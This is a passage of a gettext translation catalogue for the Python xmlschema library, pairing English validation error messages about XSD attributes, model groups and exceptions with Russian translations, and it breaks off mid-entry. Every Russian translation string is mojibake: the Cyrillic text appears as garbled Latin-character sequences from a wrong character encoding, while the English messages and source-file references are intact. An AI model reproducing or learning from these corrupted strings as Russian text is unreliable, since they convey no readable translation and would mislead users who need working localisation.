xmlschema/validators/attributes.py:118 msgid "an attribute name must be different from 'xmlns'" msgstr "Đ¸Đ¼Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ¾Ñ‚Đ»Đ¸Ñ‡Đ°Ñ‚ÑŒÑÑ Đ¾Ñ‚ 'xmlns'" #: xmlschema/validators/attributes.py:125 #, python-format msgid "cannot add attributes in %r namespace" msgstr "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ´Đ¾Đ±Đ°Đ²Đ¸Ñ‚ÑŒ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ Đ² Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ %r" #: xmlschema/validators/attributes.py:146 msgid "ambiguous type definition for XSD attribute" msgstr "Đ½ĐµĐ¾Đ´Đ½Đ¾Đ·Đ½Đ°Ñ‡Đ½Đ¾Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Ñ‚Đ¸Đ¿Đ° Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° XSD" #: xmlschema/validators/attributes.py:158 msgid "XSD attribute's type must be a simpleType" msgstr "Đ¢Đ¸Đ¿ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° XSD Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ simpleType" #: xmlschema/validators/attributes.py:169 msgid "" "the attribute 'use' must be 'optional' if the attribute 'default' is present" msgstr "" "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'use' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ 'optional' , еÑли Đ¿Ñ€Đ¸ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'default'" #: xmlschema/validators/attributes.py:174 msgid "default value {!r} is not compatible with attribute's type" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ¿Đ¾ ÑƒĐ¼Đ¾Đ»Ñ‡Đ°Đ½Đ¸Ñ {!r} Đ½ĐµÑĐ¾Đ²Đ¼ĐµÑÑ‚Đ¸Đ¼Đ¾ Ñ Ñ‚Đ¸Đ¿Đ¾Đ¼ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ°" #: xmlschema/validators/attributes.py:177 msgid "xs:ID key attributes cannot have a default value" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ ĐºĐ»ÑÑ‡Đ° xs:ID Đ½Đµ Đ¼Đ¾Đ³ÑƒÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Đ¿Đ¾ ÑƒĐ¼Đ¾Đ»Ñ‡Đ°Đ½Đ¸Ñ" #: xmlschema/validators/attributes.py:183 msgid "fixed value {!r} is not compatible with attribute's type" msgstr "Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {!r} Đ½ĐµÑĐ¾Đ²Đ¼ĐµÑÑ‚Đ¸Đ¼Đ¾ Ñ Ñ‚Đ¸Đ¿Đ¾Đ¼ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ°" #: xmlschema/validators/attributes.py:186 msgid "xs:ID key attributes cannot have a fixed value" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ ĐºĐ»ÑÑ‡Đ° xs:ID Đ½Đµ Đ¼Đ¾Đ³ÑƒÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ" #: xmlschema/validators/attributes.py:249 msgid "attribute {0!r} has a fixed value {1!r}" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {0!r} Đ¸Đ¼ĐµĐµÑ‚ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {1!r}" #: xmlschema/validators/attributes.py:254 msgid "attribute {0}={1!r}: {2}" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {0}={1!r}: {2}" #: xmlschema/validators/attributes.py:319 msgid "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'fixed' Ñ use=prohibited Đ½Đµ Đ´Đ¾Đ¿ÑƒÑĐºĐ°ĐµÑ‚ÑÑ Đ² XSD 1.1" #: xmlschema/validators/attributes.py:413 msgid "more anyAttribute declarations in the same attribute group" msgstr "Đ±Đ¾Đ»ÑŒÑˆĐµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đ¹ anyAttribute Đ² Ñ‚Đ¾Đ¹ же Đ³Ñ€ÑƒĐ¿Đ¿Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ²" #: xmlschema/validators/attributes.py:416 msgid "another declaration after anyAttribute" msgstr "Đ´Ñ€ÑƒĐ³Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Đ¿Đ¾Ñле anyAttribute" #: xmlschema/validators/attributes.py:431 msgid "multiple declaration for attribute {!r}" msgstr "Đ¼Đ½Đ¾Đ¶ĐµÑÑ‚Đ²ĐµĐ½Đ½Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° {!r}" #: xmlschema/validators/attributes.py:440 msgid "the attribute 'ref' is required in a local attributeGroup" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'ref' Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¹ attributeGroup" #: xmlschema/validators/attributes.py:450 msgid "duplicated attributeGroup {!r}" msgstr "Đ´ÑƒĐ±Đ»Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ°Ñ attributeGroup {!r}" #: xmlschema/validators/attributes.py:456 msgid "in a redefinition the reference to itself must be the first" msgstr "Đ² Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¸ ÑÑÑ‹Đ»ĐºĐ° Đ½Đ° ÑĐµĐ±Ñ Đ´Đ¾Đ»Đ¶Đ½Đ° Đ±Ñ‹Ñ‚ÑŒ Đ¿ĐµÑ€Đ²Đ¾Đ¹" #: xmlschema/validators/attributes.py:467 msgid "attributeGroup ref={!r} is not in the redefined group" msgstr "attributeGroup ref={!r} Đ½Đµ Đ²Ñ…Đ¾Đ´Đ¸Ñ‚ Đ² Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ½ÑƒÑ Đ³Ñ€ÑƒĐ¿Đ¿Ñƒ" #: xmlschema/validators/attributes.py:471 msgid "Circular attribute groups not allowed in XSD 1.0" msgstr "Đ¦Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ¸Đµ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ² Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Ñ‹ Đ² XSD 1.0" #: xmlschema/validators/attributes.py:479 msgid "unknown attribute group {!r}" msgstr "Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Đ°Ñ Đ³Ñ€ÑƒĐ¿Đ¿Đ° Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ² {!r}" #: xmlschema/validators/attributes.py:488 msgid "multiple declaration of attribute {!r}" msgstr "Đ¼Đ½Đ¾Đ¶ĐµÑÑ‚Đ²ĐµĐ½Đ½Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° {!r}" #: xmlschema/validators/attributes.py:497 msgid "Circular reference found between attribute groups {0!r} and {1!r}" msgstr "ĐĐ±Đ½Đ°Ñ€ÑƒĐ¶ĐµĐ½Đ° Ñ†Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ°Ñ ÑÑÑ‹Đ»ĐºĐ° Đ¼ĐµĐ¶Đ´Ñƒ Đ³Ñ€ÑƒĐ¿Đ¿Đ°Đ¼Đ¸ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ² {0!r} и {1!r}" #: xmlschema/validators/attributes.py:502 msgid "(attribute | attributeGroup) expected, found {!r}." msgstr "(Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ | Đ³Ñ€ÑƒĐ¿Đ¿Đ° Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ²) Đ¾Đ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ, Đ½Đ°Đ¹Đ´ĐµĐ½Đ¾ {!r}." #: xmlschema/validators/attributes.py:513 msgid "Unexpected attribute {!r} in restriction" msgstr "ĐĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸" #: xmlschema/validators/attributes.py:529 msgid "Attribute wildcard is not a restriction of the base wildcard" msgstr "" "ĐŸĐ¾Đ´ÑÑ‚Đ°Đ½Đ¾Đ²Đ¾Ñ‡Đ½Ñ‹Đ¹ Đ·Đ½Đ°Đº Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ " "Đ¿Đ¾Đ´ÑÑ‚Đ°Đ½Đ¾Đ²Đ¾Ñ‡Đ½Đ¾Đ³Đ¾ Đ·Đ½Đ°ĐºĐ°" #: xmlschema/validators/attributes.py:539 msgid "Attribute type is not a restriction of the base attribute type" msgstr "Đ¢Đ¸Đ¿ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ°" #: xmlschema/validators/attributes.py:544 msgid "Attribute {!r}: unmatched attribute use in restriction" msgstr "ĐÑ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}: Đ½ĐµÑĐ¾Đ²Đ¿Đ°Đ´ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸" #: xmlschema/validators/attributes.py:550 msgid "Attribute {!r}: derived attribute has a different fixed value" msgstr "ĐÑ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}: Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ Đ¸Đ¼ĐµĐµÑ‚ Đ´Ñ€ÑƒĐ³Đ¾Đµ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ" #: xmlschema/validators/attributes.py:554 msgid "Attribute {!r}: 'inheritable' property change in restriction" msgstr "ĐÑ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}: 'inheritable' ÑĐ²Đ¾Đ¹ÑÑ‚Đ²Đ¾ Đ¸Đ·Đ¼ĐµĐ½ĐµĐ½Đ¾ Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸" #: xmlschema/validators/attributes.py:568 msgid "Missing required attribute {!r} in redefinition restriction" msgstr "ĐÑ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Ñ" #: xmlschema/validators/attributes.py:573 msgid "Attribute {!r}: unmatched attribute use in redefinition" msgstr "" "ĐÑ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}: Đ½ĐµÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒÑÑ‰ĐµĐµ иÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Đ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Đ² Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¸" #: xmlschema/validators/attributes.py:576 msgid "Attribute {!r}: redefinition remove fixed constraint" msgstr "ĐÑ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}: Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ ÑƒĐ´Đ°Đ»ÑĐµÑ‚ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ" #: xmlschema/validators/attributes.py:585 msgid "Redefinition restriction contains additional attribute {!r}" msgstr "ĐĐ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Ñ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Ñ‚ Đ´Đ¾Đ¿Đ¾Đ»Đ½Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}" #: xmlschema/validators/attributes.py:589 msgid "Wrong attribute order in redefinition restriction" msgstr "ĐĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Ñ‹Đ¹ Đ¿Đ¾Ñ€ÑĐ´Đ¾Đº Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ² Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Ñ" #: xmlschema/validators/attributes.py:607 msgid "multiple ID attributes not allowed for XSD 1.0" msgstr "Đ½ĐµÑĐºĐ¾Đ»ÑŒĐºĐ¾ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ² ID Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Ñ‹ Đ² XSD 1.0" #: xmlschema/validators/attributes.py:660 #: xmlschema/validators/attributes.py:738 msgid "missing required attribute {!r}" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}" #: xmlschema/validators/attributes.py:695 #: xmlschema/validators/attributes.py:760 #, python-format msgid "%r is not an attribute of the XSI namespace" msgstr "%r Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ¼ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ° Đ¸Đ¼ĐµĐ½ XSI" #: xmlschema/validators/attributes.py:703 #: xmlschema/validators/attributes.py:768 #, python-format msgid "%r attribute not allowed for element" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ %r Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ´Đ»Ñ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°" #: xmlschema/validators/attributes.py:709 #, python-format msgid "use of attribute %r is prohibited" msgstr "иÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Đ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° %r Đ·Đ°Đ¿Ñ€ĐµÑ‰ĐµĐ½Đ¾" #: xmlschema/validators/exceptions.py:345 #, python-format msgid "Unexpected child with tag %r at position %d." msgstr "ĐĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Đ´Đ¾Ñ‡ĐµÑ€Đ½Đ¸Đ¹ Ñ‚ĐµĐ³ %r Đ² Đ¿Đ¾Đ·Đ¸Ñ†Đ¸Đ¸ %d." #: xmlschema/validators/exceptions.py:372 #, python-format msgid " Tag (%s) expected." msgstr " ĐĐ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ Ñ‚ĐµĐ³ (%s)" #: xmlschema/validators/exceptions.py:374 #, python-format msgid " Tag %s expected." msgstr " ĐĐ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ Ñ‚ĐµĐ³ %s." #: xmlschema/validators/exceptions.py:376 #, python-format msgid " Tag %r expected." msgstr " ĐĐ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ Ñ‚ĐµĐ³ (%r)" #: xmlschema/validators/groups.py:355 msgid "{!r} is not a particle of the model group" msgstr "{!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Ñ‡Đ°ÑÑ‚Đ¸Ñ†ĐµĐ¹ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹" #: xmlschema/validators/groups.py:413 xmlschema/validators/groups.py:455 msgid "attribute 'name' not allowed in a local group" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¹ Đ³Ñ€ÑƒĐ¿Đ¿Đµ" #: xmlschema/validators/groups.py:422 #, python-format msgid "missing group %r" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ³Ñ€ÑƒĐ¿Đ¿Đ° %r" #: xmlschema/validators/groups.py:429 xmlschema/validators/groups.py:485 msgid "maxOccurs must be 1 for 'all' model groups" msgstr "maxOccurs Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Ñ€Đ°Đ²ĐµĐ½ 1 Đ´Đ»Ñ Đ³Ñ€ÑƒĐ¿Đ¿ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹ 'all'" #: xmlschema/validators/groups.py:432 xmlschema/validators/groups.py:488 #: xmlschema/validators/groups.py:1285 msgid "minOccurs must be (0 | 1) for 'all' model groups" msgstr "minOccurs Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ (0 | 1) Đ´Đ»Ñ Đ³Ñ€ÑƒĐ¿Đ¿ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹ 'all'" #: xmlschema/validators/groups.py:435 msgid "in XSD 1.0 an 'all' model group cannot be nested" msgstr "XSD 1.0 Đ½Đµ Đ¿Đ¾Đ·Đ²Đ¾Đ»ÑĐµÑ‚ Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Ñ Đ½Đµ Đ¿ÑƒÑÑ‚Đ¾Đ¹ 'all' Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹" #: xmlschema/validators/groups.py:441 xmlschema/validators/groups.py:523 #: xmlschema/validators/groups.py:1317 #, python-format msgid "Circular definition detected for group %r" msgstr "ĐĐ±Đ½Đ°Ñ€ÑƒĐ¶ĐµĐ½Đ¾ ĐºÑ€ÑƒĐ³Đ¾Đ²Đ¾Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Đ´Đ»Ñ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ %r" #: xmlschema/validators/groups.py:459 xmlschema/validators/groups.py:469 msgid "attribute 'minOccurs' not allowed in a global group" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'minOccurs' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¹ Đ³Ñ€ÑƒĐ¿Đ¿Đµ" #: xmlschema/validators/groups.py:462 xmlschema/validators/groups.py:472 msgid "attribute 'maxOccurs' not allowed in a global group" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'maxOccurs' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¹ Đ³Ñ€ÑƒĐ¿Đ¿Đµ" #: xmlschema/validators/groups.py:499 msgid "'all' model can contain only elements" msgstr "Đ¼Đ¾Đ´ĐµĐ»ÑŒ 'all' Đ¼Đ¾Đ¶ĐµÑ‚ ÑĐ¾Đ´ĐµÑ€Đ¶Đ°Ñ‚ÑŒ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñ‹" #: xmlschema/validators/groups.py:509 xmlschema/validators/groups.py:1301 msgid "missing attribute 'ref' in local group" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'ref' Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¹ Đ³Ñ€ÑƒĐ¿Đ¿Đµ" #: xmlschema/validators/groups.py:518 msgid "'all' model can appears only at 1st level of a model group" msgstr "ĐœĐ¾Đ´ĐµĐ»ÑŒ 'all' Đ¼Đ¾Đ¶ĐµÑ‚ Đ¾Ñ‚Đ¾Đ±Ñ€Đ°Đ¶Đ°Ñ‚ÑŒÑÑ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ Đ½Đ° 1-Đ¼ ÑƒÑ€Đ¾Đ²Đ½Đµ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹" #: xmlschema/validators/groups.py:527 xmlschema/validators/groups.py:1321 msgid "Redefined group reference cannot have minOccurs/maxOccurs other than 1" msgstr "" "ĐŸĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ½Đ°Ñ ÑÑÑ‹Đ»ĐºĐ° Đ½Đ° Đ³Ñ€ÑƒĐ¿Đ¿Ñƒ Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ minOccurs/" "maxOccurs, Đ¾Ñ‚Đ»Đ¸Ñ‡Đ½Đ¾Đµ Đ¾Ñ‚ 1" #: xmlschema/validators/groups.py:821 msgid "" "Element Declarations Consistent violation between {0!r} and {1!r}: match the " "same name but with different types" msgstr "" "Element Declarations Consistent Đ½Đ°Ñ€ÑƒÑˆĐµĐ½Đ¸Đµ Đ¼ĐµĐ¶Đ´Ñƒ {0!r} и {1!r}: ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²Đ¸Đµ " "Đ¾Đ´Đ½Đ¾Đ¼Ñƒ и Ñ‚Đ¾Đ¼Ñƒ же Đ¸Đ¼ĐµĐ½Đ¸, Đ½Đ¾ Ñ Ñ€Đ°Đ·Đ½Ñ‹Đ¼Đ¸ Ñ‚Đ¸Đ¿Đ°Đ¼Đ¸" #: xmlschema/validators/groups.py:835 msgid "{0!r} and {1!r} overlap and are in the same {2!r} group" msgstr "{0!r} и {1!r} Đ¿ĐµÑ€ĐµĐºÑ€Ñ‹Đ²Đ°ÑÑ‚ÑÑ Đ¸ Đ½Đ°Ñ…Đ¾Đ´ÑÑ‚ÑÑ Đ² Đ¾Đ´Đ½Đ¾Đ¹ Đ³Ñ€ÑƒĐ¿Đ¿Đµ {2!r}" #: xmlschema/validators/groups.py:847 msgid "Unique Particle Attribution violation between {0!r} and {1!r}" msgstr "Unique Particle Attribution Đ½Đ°Ñ€ÑƒÑˆĐµĐ½Đ¸Đµ Đ¼ĐµĐ¶Đ´Ñƒ {0!r} и {1!r}" #: xmlschema/validators/groups.py:860 #, python-format msgid "substitution of %r is blocked" msgstr "Đ·Đ°Đ¼ĐµĐ½Đ° %r Đ·Đ°Đ±Đ»Đ¾ĐºĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ°" #: xmlschema/validators/groups.py:909 msgid "usage of {0!r} with type {1} is blocked by head element" msgstr "иÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Đ½Đ¸Đµ {0!r} Ñ Ñ‚Đ¸Đ¿Đ¾Đ¼ {1} Đ·Đ°Đ±Đ»Đ¾ĐºĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼ Đ·Đ°Đ³Đ¾Đ»Đ¾Đ²ĐºĐ°" #: xmlschema/validators/groups.py:934 msgid "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" msgstr "" "{0!r}, ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒÑÑ‰ĐµĐµ {1!r}, Đ½Đµ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒĐµÑ‚ Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¼Ñƒ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Ñ {2!r}" #: xmlschema/validators/groups.py:940 msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}." msgstr "" "Đ’Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾, Ñ‚Đ°Đ±Đ»Đ¸Ñ†Đ° Đ½ĐµÑĐºĐ²Đ¸Đ²Đ°Đ»ĐµĐ½Ñ‚Đ½Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° Đ¼ĐµĐ¶Đ´Ñƒ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°Đ¼Đ¸ {0!r} и {1!r}." #: xmlschema/validators/groups.py:970 msgid "an empty 'choice' group with minOccurs > 0 cannot validate any content" msgstr "Đ¿ÑƒÑÑ‚Đ°Ñ Đ³Ñ€ÑƒĐ¿Đ¿Đ° 'choice' Ñ minOccurs > 0 Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¿Ñ€Đ¾Đ²ĐµÑ€Đ¸Ñ‚ÑŒ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đµ" #: xmlschema/validators/groups.py:982 xmlschema/validators/groups.py:1242 msgid "character data between child elements not allowed" msgstr "ÑĐ¸Đ¼Đ²Đ¾Đ»ÑŒĐ½Ñ‹Đµ Đ´Đ°Đ½Đ½Ñ‹Đµ Đ¼ĐµĐ¶Đ´Ñƒ Đ´Đ¾Ñ‡ĐµÑ€Đ½Đ¸Đ¼Đ¸ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°Đ¼Đ¸ Đ½Đµ Đ´Đ¾Đ¿ÑƒÑĐºĐ°ÑÑ‚ÑÑ" #: xmlschema/validators/groups.py:995 #, python-format msgid "XML data depth exceeded (MAX_XML_DEPTH=%r)" msgstr "ĐŸÑ€ĐµĐ²Ñ‹ÑˆĐµĐ½Đ° Đ³Đ»ÑƒĐ±Đ¸Đ½Đ° Đ´Đ°Đ½Đ½Ñ‹Ñ… XML (MAX_XML_DEPTH=%r)" #: xmlschema/validators/groups.py:1202 msgid "{!r} does not match any declared element of the model group" msgstr "{!r} Đ½Đµ 